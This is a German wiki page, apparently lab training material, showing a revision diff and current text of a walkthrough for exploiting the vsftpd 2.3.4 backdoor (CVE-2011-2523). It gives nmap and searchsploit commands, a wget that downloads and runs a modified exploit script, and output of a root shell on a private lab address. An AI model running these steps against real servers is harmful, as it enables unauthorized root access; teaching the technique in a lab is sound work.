Vsftp4-angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „=Angreifer= ==Scan== *nmap -sV 10.80.100.105 -p 21 Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-07 16:56 CEST Nmap scan report for 10.80.100.105 Host…“)
 
 
(13 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Angreifer=
+
= Angreifer: vsftpd 2.3.4 Backdoor =
==Scan==
 
*nmap -sV 10.80.100.105 -p 21
 
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-07 16:56 CEST
 
Nmap scan report for 10.80.100.105
 
Host is up (0.00056s latency).
 
  
PORT  STATE SERVICE VERSION
+
== Scan mit Nmap ==
21/tcp open  ftp    vsftpd 2.3.4
+
 
  Service Info: OS: Unix
+
*nmap -sV --script vuln 10.0.10.105 -p 21
==Nach Exploit googlen==
+
<pre>
;vsftpd 2.3 4 exploit-db
+
PORT  STATE SERVICE VERSION
==Exploit finden==
+
21/tcp open  ftp    vsftpd 2.3.4
 +
| ftp-vsftpd-backdoor:
 +
|  VULNERABLE:
 +
|  vsFTPd version 2.3.4 backdoor
 +
|    State: VULNERABLE (Exploitable)
 +
|    IDs: BID:48539  CVE:CVE-2011-2523
 +
|      Shell command: id
 +
|      Results: uid=0(root) gid=0(root)
 +
|    Disclosure date: 2011-07-03
 +
|    References:
 +
|      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
 +
|      https://www.exploit-db.com/exploits/49757
 +
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
 +
</pre>
 +
 
 +
== Zwei Möglichkeiten zur Exploit-Beschaffung ==
 +
 
 +
=== 1. Mit searchsploit ===
 +
*searchsploit vsftpd 2.3.4
 +
*searchsploit -m unix/remote/49757.py
 +
 
 +
=== 2. Manuell suchen ===
 +
;Nach Exploit googeln: 
 +
*CVE-2011-2523 exploit-db 
 
*https://www.exploit-db.com/exploits/49757
 
*https://www.exploit-db.com/exploits/49757
==Exploit ausführen==
+
 
*python vsftp.py 10.80.100.105
+
== Exploit ausführen ==
Success, shell opened
+
 
Send `exit` to quit shell
+
=== Option 1: Original (telnetlib, veraltet) ===
 +
*python3 49757.py 10.0.10.105 
 +
→ Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`:
 +
<pre>
 +
ModuleNotFoundError: No module named 'telnetlib'
 +
</pre>
 +
 
 +
=== Option 2: Alternative mit socket ===
 +
'''Wir geben aber nicht auf :-)'''
 +
*Man ersetzt `telnetlib` durch `socket` 
 +
*Vordefinierte Version:
 +
<pre>
 +
wget https://xinux.de/downloads/python/49757-socket.py
 +
python3 49757-socket.py 10.0.10.105
 +
</pre>
 +
 
 +
→ Ausgabe:
 +
<pre>
 +
[+] FTP Banner: 220 (vsFTPd 2.3.4)
 +
[+] Success! Connected to shell on port 6200.
 +
[*] Type commands, Ctrl+C to exit.
 +
shell> id
 +
uid=0(root) gid=0(root)
 +
</pre>

Aktuelle Version vom 18. Mai 2025, 16:40 Uhr

Angreifer: vsftpd 2.3.4 Backdoor

Scan mit Nmap

  • nmap -sV --script vuln 10.0.10.105 -p 21
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
| ftp-vsftpd-backdoor: 
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     Disclosure date: 2011-07-03
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       https://www.exploit-db.com/exploits/49757
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

Zwei Möglichkeiten zur Exploit-Beschaffung

1. Mit searchsploit

  • searchsploit vsftpd 2.3.4
  • searchsploit -m unix/remote/49757.py

2. Manuell suchen

Nach Exploit googeln

Exploit ausführen

Option 1: Original (telnetlib, veraltet)

  • python3 49757.py 10.0.10.105

→ Bei aktuellen Systemen schlägt dies fehl wegen fehlendem `telnetlib`:

ModuleNotFoundError: No module named 'telnetlib'

Option 2: Alternative mit socket

Wir geben aber nicht auf :-)

  • Man ersetzt `telnetlib` durch `socket`
  • Vordefinierte Version:
wget https://xinux.de/downloads/python/49757-socket.py
python3 49757-socket.py 10.0.10.105

→ Ausgabe:

[+] FTP Banner: 220 (vsFTPd 2.3.4)
[+] Success! Connected to shell on port 6200.
[*] Type commands, Ctrl+C to exit.
shell> id
uid=0(root) gid=0(root)